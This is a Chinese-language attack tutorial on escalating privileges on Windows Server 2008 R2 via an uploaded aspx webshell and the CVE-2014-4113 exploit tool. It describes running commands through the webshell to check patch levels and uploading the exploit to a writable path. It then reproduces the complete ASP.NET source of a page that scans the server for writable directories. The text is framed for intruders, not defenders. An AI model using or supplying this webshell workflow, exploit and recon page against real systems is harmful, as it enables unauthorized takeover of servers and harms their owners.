1. 简介
在winserver2008 r2中，服务器默认是支持aspx的。所以默认都是可以执行一些命令。如果没有进行补丁修复可以利用一些溢出提权工具进行提权。
2. CVE-2014-4113-Exploit
利用该提取工具对winserver2008进行溢出提权。
3. 利用过程
通过aspxshell，输入/c Set查看系统信息（比如系统版本、补丁等情况）来决定是否利用该方法或者选择相应的提权版本。
有时候路径访问没有权限，可以换其他的路径上传，上传成功后执行即可提权
4. 扫描可写硬盘
上传该脚本（aspx）并访问它可以显示出所有可写目录
1 <%@ Page Language="C#" ValidateRequest="false" %> 2 <%@ Import Namespace="System.IO" %> 3 <%@ Import Namespace="System.Text" %> 4 5 6 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 7 <html xmlns="http://www.w3.org/1999/xhtml"> 8 <head runat="server"> 9 <title>ScanWrtieable</title> 10 </head> 11 <body> 12 13 <script runat="server"> 14 15 protected void Page_Load(object sender, EventArgs e) 16 { 17 } 18 int cresults; 19 protected void ScanRights(DirectoryInfo cdir) 20 { 21 try 22 { 23 if (Int32.Parse(TextBox_stopat.Text) > 0) 24 { 25 if (cresults > Int32.Parse(TextBox_stopat.Text)) 26 return; 27 } 28 DirectoryInfo[] subdirs = cdir.GetDirectories(); 29 foreach (DirectoryInfo item in subdirs) 30 { 31 ScanRights(item); 32 } 33 34 File.Create(cdir.FullName + "\\test").Close(); 35 36 this.Lb_msg.Text += cdir.FullName+"<br/>"; 37 cresults++; 38 File.Delete(cdir.FullName + "\\test"); 39 40 } 41 42 catch { } 43 } 44 System.DateTime start = DateTime.Now; 45 protected void ClearAllThread_Click(object sender, EventArgs e) 46 { 47 this.Lb_msg .Text= ""; 48 cresults = 0; 49 ScanRights(new DirectoryInfo(Fport_TextBox.Text)); 50 TimeSpan usetime = System.DateTime.Now - start; 51 this.Lb_msg.Text +="usetime: "+ usetime.TotalSeconds.ToString(); 52 } 53 54 55 </script> 56 57 <form id="form1" runat="server"> 58 59 <div> 60 start<asp:TextBox ID="Fport_TextBox" runat="server" Text="c:\" Width="60px"></asp:TextBox> 61 Stopat <asp:TextBox ID="TextBox_stopat" runat="server" Text="5" Width="60px"></asp:TextBox>files 62 <asp:Button ID="Button" runat="server" OnClick="ClearAllThread_Click" Text="ScanWriterable" /><br /> 63 <asp:Label ID="Lb_msg" runat="server" Text=""></asp:Label> 64 <br /> 65 </div> 66 <div>Code By <a href ="http://www.hkmjj.com">Www.hkmjj.Com</a></div> 67 </form> 68 </body> 69 </html>